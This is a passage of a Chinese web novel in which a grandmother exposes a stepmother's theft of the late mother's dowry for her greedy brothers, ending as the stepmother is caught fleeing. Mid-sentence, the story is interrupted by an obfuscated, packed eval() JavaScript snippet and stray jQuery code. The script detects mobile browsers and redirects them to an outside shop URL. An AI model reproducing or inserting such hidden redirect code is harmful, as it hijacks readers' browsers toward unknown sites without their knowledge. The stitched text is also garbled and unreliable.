在她看来,箱笼是娘的,即便钥匙给了吴七娘,也不代表她能随意支配取用。
村正老婆耳朵上的耳坠子是娘戴过的,她一眼认了出来。
但她知道那是因为去年夏日里干旱,地里缺水需要村正家的水塘放水灌田,而叶家的田处的最远,若是放水时间不够也是白搭,吴七娘送的这对银耳坠,为放水争取了半日,因而去年秋末才能有足量的粮收上来。
除此之外,并不见其余地方出现过。
她也坚信爹不会任由吴七娘胡来。
孟姥却摇摇头,“引线,你信任你爹,笃定他不会任由吴氏将你娘的嫁妆偷龙转凤,可知这世上最难辩的就是人心?你爹当初跪在你外翁和我面前,是如何求着我们将你娘嫁过来我都还记得。你娘病故,你爹伤心到哭晕,也是信誓旦旦说自己坚决不会再娶,可后来呢?所以啊,世上的男人都是用嘴办事,万不可轻易信之,只有握在自己手里的,才是真的。”
“再说那吴氏,当初在我面前哭着说自己也是受兄长蒙蔽,这才糊里糊涂成了事,原本她也是有定亲的人家,后来只得和人退了亲,到叶家来做人后娘,我一时心软也就点了头。”
“这么多年,我们不多问不多做,谁知那吴氏竟然如此过分。”
两个姑娘头一次听到这些过往事的细节,都不敢插话沉默着听下文。
杨大舅却摸了摸鼻子,古怪地看了一眼老娘。
孟姥虎了他一眼,杨大舅撇嘴没吭声。
孟姥也不忍他,桌下踢了他一脚。
杨大舅这才悻悻道:“吴家原本穷得叮当响,家里嘴多地少,就连屋子都只有三间,吴氏没出嫁之前要跟其父母挤在一个屋里睡,那定亲的人家原本是吴村的一富户的儿子,但那人生的口眼歪斜,还天生驼背,不过那家就他一个独苗,舍得花钱,因而就为那十五两的聘金,她几个哥哥和亲爹娘就巴不得将她合伙给“卖”了。后来吴老四觉得那钱分下来太少,一直想另寻机会再给他妹子找家富贵人户做妾换钱……偶然识得你俩爹,一细打听,得知你爹是个有钱的鳏夫,家里又没有儿子,立刻动了心思,正好下大雨阻了路给了吴家机会,不过几杯酒他就立刻往人家套子里钻,睡了……哎哟!”
杨大舅痛呼一声,看到孟姥警告的眼神,才发现自己说了什么,立刻住了嘴,也不敢喊疼了。
虽说穿针嫁了人,可到底是做长辈的,在晚辈面前这样,受他老娘一脚也不冤。
引线却暗暗吃惊,她不是没听过村里人的闲言碎语,也心知吴七娘并非是走了正经媒妁定亲进了叶家的门,却没想过里头还有这么多曲折内情。
“继续说。”孟姥看了神色各异的两姐妹一眼,才道。
“好好好,”杨大舅讨好地连声答应,“后来人家逼着他写了字据摁了手印,将吴氏娶进门来做了你们的后娘。”
他怕再说错,干脆简单明了。
孟姥叹了口气,自己来补充,“吴氏父母无能,兄嫂奸诈,她自己也做小伏低,甘于受辱,甚至为了博取信任,可以多年不提任何要求,直到穿针嫁了人才要走了你们娘的嫁妆箱子的钥匙,难道这样的人还会循规蹈矩,老老实实守着两口值钱的箱子什么都不做?更何况吴老四那样贪财的人,不可能不问吴氏索要东西,她自己都是穿着一身进的门,若不是你娘的嫁妆,她拿什么去堵娘家的蝗虫口?”
穿针一直晓得吴七娘不是什么老实人,可苦于没有证据,当下禁不住气愤地点了点头。
“说起来也是我们过于放任你爹,想着要是我们伸手太长,他心里会不痛快,连带着对你们姐俩不满,所以这么多年你外翁不许我和你们舅舅来石桥村,就是怕你爹起了心要在你们婚事上作怪。”
引线愕然,依然道:“爹他……”
孟姥摸了摸引线的头,慢慢解释道:“我方才与你们说过了,世上男人皆一般,若不能与他旗鼓相当互相交心,就是生出异心也不会叫你知道,即便这个人是你们的亲爹。”
“他或许心里有你们姐妹,也一如既往疼爱你们,但如今他身边有吴娘子,有三哥儿,一颗心分成好几块,总有大的那块,也就有小的那块。”
见引线沉默不语,孟姥觉得自己不能再这样温和下去,于是直接将话挑明,“你们可知那吴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653295|205343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家这两年来盖房修地,买田积粮,甚至那吴家老六还娶了村正的女儿。”
“想必你爹已经打听过了,只是吴氏兄弟对外一概说自己走了大运,遇上了贵人才发了小财,此前我也让你们小舅去打听过,这吴老四的确和城里姚家的少爷有些来往,从他身上发财也不奇怪。”孟姥道,“但见了吴氏的反应,我可以断言,这吴家能翻身,没有吴氏从中暗度那一笔是绝不可能的。”
吴家世代穷困,吴家祖上留的地虽然只有薄田几亩,但近年来官府支持乡民开垦荒田,吴家兄弟多,有都是壮劳力,多下苦力自然不会继续穷下去。
可偏偏吴氏兄弟都是奸滑好逸之人,若不是吴氏暗中偷渡,吴家怎么会这么快就有钱翻修家里的房,还买了良田十几亩,甚至结交到正元镖局的公子?
穿针越听越气,一直按捺住的火蹭蹭往上蹿,拍桌起身就要说什么,孟姥却按住她的手,摇摇头道:“穿针,你是个好孩子,也是个好姐姐,在见人心世面上,引线不如你许多。但你要懂得藏拙的道理,不要事事都冲在前面,凡事至少要想一想再做。”
穿针一怔,深吸一口气,将火气硬生生压了下去。
“可是阿姥,咱们就这么干等着?”穿针问。
孟姥却笑了笑,目光看向东面的方向,似乎透过那门看到了里面见不得光的一只老鼠,半晌才道,“等着,咱们只要在这坐着,有人心里就跟油煎似得,不怕她不跳出来。”
……
堂屋里灯火通明,东屋却一片漆黑。
“锦砚娘?”推门进去的叶望山见里头没点油灯,心里一紧,“咋不点灯?”
等他摸索到打火石点上灯,微弱的火光照亮,屋里才清晰起来。
屋子里空荡荡的,半个人影也无。
叶望山只以为她去茅房了,静等了好一会发现依旧没动静,实在忍不住才要推开门出去找人,谁知就听外头响起杨小舅的声音。
“这婆娘脚滑,我去找的时候她躲在村口的柳树后头,还好我多看了一眼,否则真让她溜了!”
杨小舅喊完,堂屋东屋的几人都走了出来。